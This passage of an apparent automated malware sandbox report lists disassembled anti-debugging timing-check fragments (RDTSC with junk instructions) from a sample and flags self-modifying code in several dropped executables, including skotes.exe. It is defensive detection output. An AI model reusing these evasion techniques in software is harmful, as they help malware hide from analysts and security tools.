0000003Ch 0x00000056 jne 00007FA6C4D3908Ch 0x0000005c mov dword ptr [ebp+122D1DDCh], esi 0x00000062 add esi, dword ptr [esp+24h] 0x00000066 sub dword ptr [ebp+122D1CE9h], esi 0x0000006c lodsw 0x0000006e stc 0x0000006f add eax, dword ptr [esp+24h] 0x00000073 jc 00007FA6C4D390A3h 0x00000079 jg 00007FA6C4D3909Dh 0x0000007f jmp 00007FA6C4D39093h 0x00000084 mov ebx, dword ptr [esp+24h] 0x00000088 jmp 00007FA6C4D3908Ch 0x0000008d pushad 0x0000008e mov cl, BCh 0x00000090 popad 0x00000091 nop 0x00000092 push eax 0x00000093 push edx 0x00000094 jmp 00007FA6C4D3908Fh 0x00000099 rdtsc
Source: C:\Users\user\Documents\JKECGDBFCB.exe	RDTSC instruction interceptor: First address: 57EEBC second address: 57EED0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA6C4C2AB40h 0x00000009 rdtsc
Source: C:\Users\user\Documents\JKECGDBFCB.exe	RDTSC instruction interceptor: First address: 700B3B second address: 700B50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA6C4D39091h 0x00000009 rdtsc
Source: C:\Users\user\Documents\JKECGDBFCB.exe	RDTSC instruction interceptor: First address: 700B50 second address: 700B54 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\JKECGDBFCB.exe	RDTSC instruction interceptor: First address: 700FA5 second address: 700FD9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6C4D39097h 0x00000007 push eax 0x00000008 push edx 0x00000009 jl 00007FA6C4D39086h 0x0000000f jmp 00007FA6C4D39093h 0x00000014 rdtsc
Source: C:\Users\user\Documents\JKECGDBFCB.exe	RDTSC instruction interceptor: First address: 7012A1 second address: 7012B1 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FA6C4C2AB36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Documents\JKECGDBFCB.exe	RDTSC instruction interceptor: First address: 7012B1 second address: 7012B9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Documents\JKECGDBFCB.exe	RDTSC instruction interceptor: First address: 702BC2 second address: 702BCC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Documents\JKECGDBFCB.exe	RDTSC instruction interceptor: First address: 702BCC second address: 702BD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\JKECGDBFCB.exe	RDTSC instruction interceptor: First address: 702BD0 second address: 702BD4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\JKECGDBFCB.exe	RDTSC instruction interceptor: First address: 702C53 second address: 702C6F instructions: 0x00000000 rdtsc 0x00000002 jl 00007FA6C4D39092h 0x00000008 jmp 00007FA6C4D3908Ch 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 pop eax 0x00000015 rdtsc
Source: C:\Users\user\Documents\JKECGDBFCB.exe	RDTSC instruction interceptor: First address: 702C6F second address: 702CE3 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FA6C4C2AB36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push edi 0x0000000f call 00007FA6C4C2AB38h 0x00000014 pop edi 0x00000015 mov dword ptr [esp+04h], edi 0x00000019 add dword ptr [esp+04h], 00000016h 0x00000021 inc edi 0x00000022 push edi 0x00000023 ret 0x00000024 pop edi 0x00000025 ret 0x00000026 pushad 0x00000027 mov ebx, dword ptr [ebp+122D3D20h] 0x0000002d mov ax, 8586h 0x00000031 popad 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push ecx 0x00000037 call 00007FA6C4C2AB38h 0x0000003c pop ecx 0x0000003d mov dword ptr [esp+04h], ecx 0x00000041 add dword ptr [esp+04h], 00000015h 0x00000049 inc ecx 0x0000004a push ecx 0x0000004b ret 0x0000004c pop ecx 0x0000004d ret 0x0000004e push F91C063Dh 0x00000053 pushad 0x00000054 jmp 00007FA6C4C2AB45h 0x00000059 push eax 0x0000005a push edx 0x0000005b push eax 0x0000005c push edx 0x0000005d rdtsc
Source: C:\Users\user\Documents\JKECGDBFCB.exe	RDTSC instruction interceptor: First address: 702CE3 second address: 702CE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\JKECGDBFCB.exe	RDTSC instruction interceptor: First address: 702ECC second address: 702ED0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\JKECGDBFCB.exe	RDTSC instruction interceptor: First address: 702ED0 second address: 702ED6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\JKECGDBFCB.exe	RDTSC instruction interceptor: First address: 702F84 second address: 702F97 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FA6C4C2AB38h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pushad 0x0000000f popad 0x00000010 pop ecx 0x00000011 rdtsc
Source: C:\Users\user\Documents\JKECGDBFCB.exe	RDTSC instruction interceptor: First address: 702F97 second address: 702FED instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push edx 0x0000000c call 00007FA6C4D39088h 0x00000011 pop edx 0x00000012 mov dword ptr [esp+04h], edx 0x00000016 add dword ptr [esp+04h], 0000001Ah 0x0000001e inc edx 0x0000001f push edx 0x00000020 ret 0x00000021 pop edx 0x00000022 ret 0x00000023 sub dword ptr [ebp+122D2257h], eax 0x00000029 jmp 00007FA6C4D3908Ah 0x0000002e push 00000000h 0x00000030 push 2E1B7E9Bh 0x00000035 push eax 0x00000036 push edx 0x00000037 jmp 00007FA6C4D39092h 0x0000003c rdtsc
Source: C:\Users\user\Documents\JKECGDBFCB.exe	RDTSC instruction interceptor: First address: 702FED second address: 703091 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6C4C2AB3Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 2E1B7E1Bh 0x00000010 movzx ecx, bx 0x00000013 push 00000003h 0x00000015 push 00000000h 0x00000017 push edx 0x00000018 call 00007FA6C4C2AB38h 0x0000001d pop edx 0x0000001e mov dword ptr [esp+04h], edx 0x00000022 add dword ptr [esp+04h], 00000018h 0x0000002a inc edx 0x0000002b push edx 0x0000002c ret 0x0000002d pop edx 0x0000002e ret 0x0000002f xor esi, dword ptr [ebp+122D3C80h] 0x00000035 push 00000000h 0x00000037 call 00007FA6C4C2AB42h 0x0000003c jmp 00007FA6C4C2AB45h 0x00000041 pop edi 0x00000042 push 00000003h 0x00000044 push 00000000h 0x00000046 push edx 0x00000047 call 00007FA6C4C2AB38h 0x0000004c pop edx 0x0000004d mov dword ptr [esp+04h], edx 0x00000051 add dword ptr [esp+04h], 00000019h 0x00000059 inc edx 0x0000005a push edx 0x0000005b ret 0x0000005c pop edx 0x0000005d ret 0x0000005e mov dword ptr [ebp+122D33E1h], edi 0x00000064 call 00007FA6C4C2AB39h 0x00000069 push eax 0x0000006a push edx 0x0000006b push eax 0x0000006c push edx 0x0000006d pushad 0x0000006e popad 0x0000006f rdtsc
Source: C:\Users\user\Documents\JKECGDBFCB.exe	RDTSC instruction interceptor: First address: 703091 second address: 703097 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\JKECGDBFCB.exe	RDTSC instruction interceptor: First address: 703097 second address: 7030B2 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FA6C4C2AB40h 0x00000010 rdtsc
Source: C:\Users\user\Documents\JKECGDBFCB.exe	RDTSC instruction interceptor: First address: 7030B2 second address: 7030CF instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007FA6C4D3908Eh 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f push eax 0x00000010 push edx 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Documents\JKECGDBFCB.exe	RDTSC instruction interceptor: First address: 7030CF second address: 7030D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\JKECGDBFCB.exe	RDTSC instruction interceptor: First address: 7030D4 second address: 7030DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Documents\JKECGDBFCB.exe	RDTSC instruction interceptor: First address: 7030DA second address: 7030FD instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FA6C4C2AB36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FA6C4C2AB43h 0x00000015 rdtsc
Source: C:\Users\user\Documents\JKECGDBFCB.exe	RDTSC instruction interceptor: First address: 7030FD second address: 703102 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\JKECGDBFCB.exe	RDTSC instruction interceptor: First address: 703102 second address: 703175 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d push eax 0x0000000e push edi 0x0000000f jbe 00007FA6C4C2AB36h 0x00000015 pop edi 0x00000016 pop eax 0x00000017 pop eax 0x00000018 jmp 00007FA6C4C2AB40h 0x0000001d lea ebx, dword ptr [ebp+12457B08h] 0x00000023 push 00000000h 0x00000025 push edi 0x00000026 call 00007FA6C4C2AB38h 0x0000002b pop edi 0x0000002c mov dword ptr [esp+04h], edi 0x00000030 add dword ptr [esp+04h], 00000018h 0x00000038 inc edi 0x00000039 push edi 0x0000003a ret 0x0000003b pop edi 0x0000003c ret 0x0000003d mov ecx, 4EE75EFAh 0x00000042 jmp 00007FA6C4C2AB46h 0x00000047 push eax 0x00000048 push eax 0x00000049 push eax 0x0000004a push edx 0x0000004b jno 00007FA6C4C2AB36h 0x00000051 rdtsc
Source: C:\Users\user\Documents\JKECGDBFCB.exe	RDTSC instruction interceptor: First address: 7162B6 second address: 7162BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Documents\JKECGDBFCB.exe	RDTSC instruction interceptor: First address: 72306A second address: 72307C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007FA6C4C2AB3Dh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Documents\JKECGDBFCB.exe	RDTSC instruction interceptor: First address: 7231F3 second address: 7231FD instructions: 0x00000000 rdtsc 0x00000002 jc 00007FA6C4D3908Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Documents\JKECGDBFCB.exe	RDTSC instruction interceptor: First address: 7231FD second address: 723226 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push esi 0x00000007 jng 00007FA6C4C2AB36h 0x0000000d jmp 00007FA6C4C2AB44h 0x00000012 pop esi 0x00000013 pop edx 0x00000014 pop eax 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Documents\JKECGDBFCB.exe	RDTSC instruction interceptor: First address: 723226 second address: 72323C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jp 00007FA6C4D39086h 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Documents\JKECGDBFCB.exe	RDTSC instruction interceptor: First address: 72323C second address: 723240 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\JKECGDBFCB.exe	RDTSC instruction interceptor: First address: 723541 second address: 723548 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 rdtsc
Source: C:\Users\user\Documents\JKECGDBFCB.exe	RDTSC instruction interceptor: First address: 723697 second address: 72369C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Documents\JKECGDBFCB.exe	RDTSC instruction interceptor: First address: 72369C second address: 7236A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\JKECGDBFCB.exe	RDTSC instruction interceptor: First address: 7236A2 second address: 7236A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Documents\JKECGDBFCB.exe	RDTSC instruction interceptor: First address: 7248A9 second address: 7248B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Documents\JKECGDBFCB.exe	RDTSC instruction interceptor: First address: 7248B0 second address: 7248D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007FA6C4C2AB36h 0x00000009 jmp 00007FA6C4C2AB43h 0x0000000e popad 0x0000000f push ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Documents\JKECGDBFCB.exe	RDTSC instruction interceptor: First address: 7248D0 second address: 7248D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\JKECGDBFCB.exe	RDTSC instruction interceptor: First address: 7248D6 second address: 7248F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FA6C4C2AB45h 0x00000010 rdtsc
Source: C:\Users\user\Documents\JKECGDBFCB.exe	RDTSC instruction interceptor: First address: 7248F6 second address: 7248FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\JKECGDBFCB.exe	RDTSC instruction interceptor: First address: 7248FA second address: 724904 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Documents\JKECGDBFCB.exe	RDTSC instruction interceptor: First address: 724904 second address: 72490E instructions: 0x00000000 rdtsc 0x00000002 js 00007FA6C4D39086h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Documents\JKECGDBFCB.exe	RDTSC instruction interceptor: First address: 72490E second address: 72491A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007FA6C4C2AB36h 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Documents\JKECGDBFCB.exe	RDTSC instruction interceptor: First address: 724C2B second address: 724C3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA6C4D3908Dh 0x00000009 rdtsc
Source: C:\Users\user\Documents\JKECGDBFCB.exe	RDTSC instruction interceptor: First address: 724F6F second address: 724F75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\JKECGDBFCB.exe	RDTSC instruction interceptor: First address: 724F75 second address: 724F7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FA6C4D39086h 0x0000000a rdtsc
Source: C:\Users\user\Documents\JKECGDBFCB.exe	RDTSC instruction interceptor: First address: 724F7F second address: 724F83 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\JKECGDBFCB.exe	RDTSC instruction interceptor: First address: 7293E6 second address: 7293EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\JKECGDBFCB.exe	RDTSC instruction interceptor: First address: 72AAFF second address: 72AB05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\JKECGDBFCB.exe	RDTSC instruction interceptor: First address: 72AB05 second address: 72AB09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\JKECGDBFCB.exe	RDTSC instruction interceptor: First address: 6E3B2A second address: 6E3B30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\JKECGDBFCB.exe	RDTSC instruction interceptor: First address: 6E3B30 second address: 6E3B5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FA6C4D39094h 0x0000000e jmp 00007FA6C4D3908Fh 0x00000013 rdtsc
Source: C:\Users\user\Documents\JKECGDBFCB.exe	RDTSC instruction interceptor: First address: 72CB63 second address: 72CB69 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Documents\JKECGDBFCB.exe	RDTSC instruction interceptor: First address: 72CB69 second address: 72CB8E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6C4D3908Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FA6C4D3908Ch 0x00000014 rdtsc
Source: C:\Users\user\Documents\JKECGDBFCB.exe	RDTSC instruction interceptor: First address: 72CFC2 second address: 72CFC8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\JKECGDBFCB.exe	RDTSC instruction interceptor: First address: 72CFC8 second address: 72CFEA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6C4D39095h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Documents\JKECGDBFCB.exe	RDTSC instruction interceptor: First address: 72CFEA second address: 72CFF4 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FA6C4C2AB3Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Documents\JKECGDBFCB.exe	RDTSC instruction interceptor: First address: 72BFFE second address: 72C003 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\JKECGDBFCB.exe	RDTSC instruction interceptor: First address: 72C003 second address: 72C020 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA6C4C2AB3Bh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f ja 00007FA6C4C2AB38h 0x00000015 rdtsc
Source: C:\Users\user\Documents\JKECGDBFCB.exe	RDTSC instruction interceptor: First address: 72D329 second address: 72D342 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FA6C4D39086h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b js 00007FA6C4D390A8h 0x00000011 push eax 0x00000012 push edx 0x00000013 jbe 00007FA6C4D39086h 0x00000019 rdtsc
Source: C:\Users\user\Documents\JKECGDBFCB.exe	RDTSC instruction interceptor: First address: 733B28 second address: 733B2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\JKECGDBFCB.exe	RDTSC instruction interceptor: First address: 733173 second address: 73318C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FA6C4D39086h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jc 00007FA6C4D39086h 0x00000013 js 00007FA6C4D39086h 0x00000019 rdtsc
Source: C:\Users\user\Documents\JKECGDBFCB.exe	RDTSC instruction interceptor: First address: 73318C second address: 733190 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\JKECGDBFCB.exe	RDTSC instruction interceptor: First address: 733190 second address: 7331D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FA6C4D39086h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d pushad 0x0000000e pushad 0x0000000f jmp 00007FA6C4D39098h 0x00000014 jmp 00007FA6C4D3908Eh 0x00000019 popad 0x0000001a pushad 0x0000001b push edx 0x0000001c pop edx 0x0000001d pushad 0x0000001e popad 0x0000001f popad 0x00000020 push eax 0x00000021 push edx 0x00000022 push edi 0x00000023 pop edi 0x00000024 push eax 0x00000025 pop eax 0x00000026 rdtsc
Source: C:\Users\user\Documents\JKECGDBFCB.exe	RDTSC instruction interceptor: First address: 73339A second address: 7333BE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6C4C2AB48h 0x00000007 push eax 0x00000008 push edx 0x00000009 jg 00007FA6C4C2AB36h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Documents\JKECGDBFCB.exe	RDTSC instruction interceptor: First address: 7333BE second address: 7333C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\JKECGDBFCB.exe	RDTSC instruction interceptor: First address: 73366B second address: 733697 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jo 00007FA6C4C2AB36h 0x0000000f jo 00007FA6C4C2AB36h 0x00000015 popad 0x00000016 pop ebx 0x00000017 pushad 0x00000018 pushad 0x00000019 jmp 00007FA6C4C2AB3Fh 0x0000001e pushad 0x0000001f popad 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Documents\JKECGDBFCB.exe	RDTSC instruction interceptor: First address: 733697 second address: 73369D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5D815A instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 600AFB instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\JKECGDBFCB.exe	Special instruction interceptor: First address: 57EE29 instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\JKECGDBFCB.exe	Special instruction interceptor: First address: 57EF09 instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\JKECGDBFCB.exe	Special instruction interceptor: First address: 72D099 instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\JKECGDBFCB.exe	Special instruction interceptor: First address: 72BA8F instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\JKECGDBFCB.exe	Special instruction interceptor: First address: 734510 instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\JKECGDBFCB.exe	Special instruction interceptor: First address: 57EDFA instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\JKECGDBFCB.exe	Special instruction interceptor: First address: 7B47E4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: D9EE29 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: D9EF09 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: F4D099 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: F4BA8F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: F54510 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: D9EDFA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: FD47E4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013581001\2533b4b8c7.exe	Special instruction interceptor: First address: 825826 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013581001\2533b4b8c7.exe	Special instruction interceptor: First address: 9F4CA5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013581001\2533b4b8c7.exe	Special instruction interceptor: First address: 9D4D6E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013581001\2533b4b8c7.exe	Special instruction interceptor: First address: A596F1 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Special instruction interceptor: First address: 428A80 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Special instruction interceptor: First address: 5D989D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Special instruction interceptor: First address: 5EF478 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Special instruction interceptor: First address: 667F3A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013583001\815f2a8fe8.exe	Special instruction interceptor: First address: FA815A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013583001\815f2a8fe8.exe	Special instruction interceptor: First address: FD0AFB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013585001\57a07eec2d.exe	Special instruction interceptor: First address: 29DC42 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013585001\57a07eec2d.exe	Special instruction interceptor: First address: 29DD58 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013585001\57a07eec2d.exe	Special instruction interceptor: First address: 29DC4E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013585001\57a07eec2d.exe	Special instruction interceptor: First address: 437F43 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013585001\57a07eec2d.exe	Special instruction interceptor: First address: 4D9D3B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Special instruction interceptor: First address: 5FFDC42 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1013582001\feb3d39b6a.exe	Special instruction interceptor: First address: 5FFDD58 instructions caused by: Self-modifying code
